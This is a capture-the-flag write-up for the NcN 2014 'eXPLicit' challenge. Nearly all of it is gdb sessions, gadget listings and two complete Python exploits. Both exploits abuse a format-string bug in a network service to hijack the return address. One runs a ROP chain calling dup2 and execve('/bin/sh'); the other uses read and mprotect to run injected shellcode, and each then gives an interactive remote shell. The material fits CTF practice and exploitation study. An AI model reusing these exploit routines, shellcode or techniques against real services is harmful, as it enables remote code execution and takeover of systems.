# NcN CTF Quals 2k14: eXPLicit (500 points)


# echo 0 > /proc/sys/kernel/randomize_va_space
# ./explicit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
^C
[New process 10894]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10894]
0x08072d7d in ?? ()
(gdb) backtrace
#0  0x08072d7d in ?? ()
#1  0x0804f96f in ?? ()
#2  0x08048bfc in ?? ()
#3  0x08048e30 in ?? ()
#4  0x08049056 in ?? ()
#5  0x0804899b in ?? ()
(gdb) x/2i 0x0804f96f-0x5
   0x804f96a: call   0x806ea80
   0x804f96f: add    esp,0x1c
(gdb) quit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) break *0x806ea80
Breakpoint 1 at 0x806ea80
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
[New process 10952]
[Switching to process 10952]

Breakpoint 1, 0x0806ea80 in ?? ()
(gdb) x/xw $esp
0xbffff59c: 0x0804f96f
(gdb) quit
# ./checksec.sh --file explicit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   explicit
# gdb -q -x rop.py
=== BINARY ===

Path = /eXPLicit/explicit
Type = elf32
Arch = i386
EP   = 0x804897a
Low  = 0x8048140
High = 0x80ab7f4

=== PRIMITIVE GADGETS (Depth = 1) ===

inc eax
  0x806d6ff: inc eax;

inc ebx

inc ecx

inc edx

mov dword ptr [eax],ebx

mov dword ptr [eax],ecx

mov dword ptr [eax],edx
  0x806d781: mov dword ptr [eax],edx;

mov dword ptr [ebx],eax

mov dword ptr [ebx],ecx

mov dword ptr [ebx],edx

mov dword ptr [ecx],eax

mov dword ptr [ecx],ebx

mov dword ptr [ecx],edx

mov dword ptr [edx],eax
  0x808a73d: mov dword ptr [edx],eax;

mov dword ptr [edx],ebx

mov dword ptr [edx],ecx
  0x8055952: mov dword ptr [edx],ecx;

mov eax,ebx

mov eax,ecx

mov eax,edx
  0x805c1ff: mov eax,edx;
  0x8060aa7: mov eax,edx;

mov ebx,eax

mov ebx,ecx

mov ebx,edx

mov ecx,eax

mov ecx,ebx

mov ecx,edx

mov edx,eax

mov edx,ebx

mov edx,ecx

pop eax
  0x80a8ff6: pop eax;

pop ebx
  0x804d106: pop ebx;
  0x804e73c: pop ebx;
  0x804e7a3: pop ebx;
  0x805169d: pop ebx;
  0x8052239: pop ebx;
  ...

pop ecx

pop edx
  0x8060a56: pop edx;

pop esp
  0x80a8fa6: pop esp;

push eax
  0x80a8f96: push eax;

push ebx

push ecx

push edx

push esp
  0x80a9006: push esp;

xor eax,eax
  0x80551c0: xor eax,eax;
  0x8055bc0: xor eax,eax;
  0x8055c00: xor eax,eax;
  0x8059644: xor eax,eax;
  0x805e0c8: xor eax,eax;
  ...

xor ebx,ebx

xor ecx,ecx

xor edx,edx

int 0x80
  0x8061240: int 0x80;
  0x8082715: int 0x80;
  0x8082725: int 0x80;
  0x8082735: int 0x80;
  0x8082745: int 0x80;

=== VARIABLES ===

inc_eax = 0x806d6ff
mov_dword_ptr_eax_edx = 0x806d781
mov_dword_ptr_edx_eax = 0x808a73d
mov_dword_ptr_edx_ecx = 0x8055952
mov_eax_edx = 0x805c1ff
pop_eax = 0x80a8ff6
pop_ebx = 0x804d106
pop_edx = 0x8060a56
pop_esp = 0x80a8fa6
push_eax = 0x80a8f96
push_esp = 0x80a9006
xor_eax_eax = 0x80551c0
int_0x80 = 0x8061240
# readelf --section-headers explicit | grep '\.bss'
[23] .bss              NOBITS          080d6080 08e060 00136c 00  WA  0   0 64
# cat exploit.py
#!/usr/bin/env python

import socket
import struct
import sys

def whatoffset(what, offset):
       while what <= offset:
              what += 0x100
       what -= offset
       return what, what + offset

def fs_4writes(what, where, offset, init):
       mask     = 0xff
       offset   = 16 + offset # 4 bytes * 4 addr + offset
       what_b0  = (what      ) & mask
       what_b1  = (what >>  8) & mask
       what_b2  = (what >> 16) & mask
       what_b3  = (what >> 24) & mask

       what_b0, offset = whatoffset(what_b0, offset)
       what_b1, offset = whatoffset(what_b1, offset)
       what_b2, offset = whatoffset(what_b2, offset)
       what_b3, offset = whatoffset(what_b3, offset)

       return struct.pack('<I', where      ) + \
              struct.pack('<I', (where + 1)) + \
              struct.pack('<I', (where + 2)) + \
              struct.pack('<I', (where + 3)) + \
              ('%%%dc'    % what_b0        ) + \
              ('%%%d$hhn' % init           ) + \
              ('%%%dc'    % what_b1        ) + \
              ('%%%d$hhn' % (init + 1)     ) + \
              ('%%%dc'    % what_b2        ) + \
              ('%%%d$hhn' % (init + 2)     ) + \
              ('%%%dc'    % what_b3        ) + \
              ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
inc_eax = 0x806d6ff
inc_ecx = 0x80c7a5c
int_0x80 = 0x8061240
mov_dword_ptr_edx_eax = 0x808a73d
pop_eax = 0x80ced61
pop_ebx = 0x804d106
#0x80cf077: pop ecx; or cl,byte ptr [esi]; or al,0x43; ret
pop_ecx = 0x80cf077
#0x8083fc6: pop edx; or eax,0x89c08508; ret
pop_edx = 0x8083fc6
pop_esi = 0x80499f5
xor_eax_eax = 0x80551c0

dup2_syscall = 0x3f
fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

# ropchain = dup2(fd, 0) + dup2(fd, 1) + dup2(fd, 2) + execve('/bin/sh', 0, 0)

ropchain =    struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', fd) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_eax) + \
              '/bin' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 4) + \
              struct.pack('<I', pop_eax) + \
              '//sh' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_esi) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ecx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
\
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', inc_eax) * 11 + \
\
              struct.pack('<I', int_0x80)

shellcode =   struct.pack('<I', add_esp_0x3c) + \
              fs + \
              padding + \
              ropchain

c.send(shellcode + '\n')

command = ''
while command[:-1] != 'exit':
       print '> ',
       sys.stdout.flush()
       command = sys.stdin.readline()
       c.send(command)
       sys.stdout.write(c.recv(1024))

c.close()
# ./exploit.py 127.0.0.1 7070 0xbffff59c
>

Another solution using mprotect (based on @esanfelix exploit)

# ./search_instructions.py /eXPLicit/explicit mov+eax,0x3 int+0x80 # read
 805ef57: b8 03 00 00 00        mov    eax,0x3
 805ef5c: cd 80                 int    0x80

 805ef7e: b8 03 00 00 00        mov    eax,0x3
 805ef83: cd 80                 int    0x80

 8082a07: b8 36 00 00 00        mov    eax,0x36
 8082a0c: cd 80                 int    0x80
# ./search_instructions.py /eXPLicit/explicit mov+eax,0x7d int+0x80 # mprotect
 805fa3d: b8 7d 00 00 00        mov    eax,0x7d
 805fa42: cd 80                 int    0x80

# gdb -q explicit
(gdb) x/10i 0x805ef4a
   0x805ef4a: push   ebx
   0x805ef4b: mov    edx,DWORD PTR [esp+0x10]
   0x805ef4f: mov    ecx,DWORD PTR [esp+0xc]
   0x805ef53: mov    ebx,DWORD PTR [esp+0x8]
   0x805ef57: mov    eax,0x3
   0x805ef5c: int    0x80
   0x805ef5e: pop    ebx
   0x805ef5f: cmp    eax,0xfffff001
   0x805ef64: jae    0x8062270
   0x805ef6a: ret
(gdb) x/10i 0x805fa30
   0x805fa30: push   ebx
   0x805fa31: mov    edx,DWORD PTR [esp+0x10]
   0x805fa35: mov    ecx,DWORD PTR [esp+0xc]
   0x805fa39: mov    ebx,DWORD PTR [esp+0x8]
   0x805fa3d: mov    eax,0x7d
   0x805fa42: int    0x80
   0x805fa44: pop    ebx
   0x805fa45: cmp    eax,0xfffff001
   0x805fa4a: jae    0x8062270
   0x805fa50: ret

# ./search_instructions.py /eXPLicit/explicit pop pop pop ret
 8048218: 5e                    pop    esi
 8048219: 5f                    pop    edi
 804821a: 5d                    pop    ebp
 804821b: c3                    ret
# cat exploit-mprotect.py 
#!/usr/bin/env python

import socket
import struct
import sys
import time

def whatoffset(what, offset):
 while what <= offset:
  what += 0x100
 what -= offset
 return what, what + offset

def fs_4writes(what, where, offset, init):
 mask     = 0xff
 offset   = 16 + offset # 4 bytes * 4 addr + offset
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, offset = whatoffset(what_b0, offset)
 what_b1, offset = whatoffset(what_b1, offset)
 what_b2, offset = whatoffset(what_b2, offset)
 what_b3, offset = whatoffset(what_b3, offset)

 return struct.pack('<I', where      ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0        ) + \
  ('%%%d$hhn' % init           ) + \
  ('%%%dc'    % what_b1        ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2        ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3        ) + \
  ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
mprotect = 0x805fa30
page_size = 0x1000
page_aligned = bss & ~(page_size - 1)
pop_pop_pop_ret = 0x8048218
prot = 0x4 # [x]wr
read = 0x805ef4a

fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

dup2   = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3" + struct.pack('B', fd) + "\xcd\x80\x75\xf6"
execve = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xb0\x0b\xcd\x80"

shellcode_s2 = dup2 + execve

count = len(shellcode_s2) + 1

# ropchain = read(fd, bss, len(shellcode_s2)) + mprotect(page_aligned, page_size, prot)

ropchain = struct.pack('<I', read) + \
  struct.pack('<I', pop_pop_pop_ret) + \
  struct.pack('<I', fd) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', count) + \
\
  struct.pack('<I', mprotect) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', page_aligned) + \
  struct.pack('<I', page_size) + \
  struct.pack('<I', prot)

shellcode_s1 = struct.pack('<I', add_esp_0x3c) + \
  fs + \
  padding + \
  ropchain

c.send(shellcode_s1 + '\n')
time.sleep(0.2)
c.send(shellcode_s2 + '\n')

command = ''
while command[:-1] != 'exit':
 print '> ',
 sys.stdout.flush()
 command = sys.stdin.readline()
 c.send(command)
 sys.stdout.write(c.recv(1024))

c.close()
# ./exploit-mprotect.py 127.0.0.1 7070 0xbffff59c
>

No comments: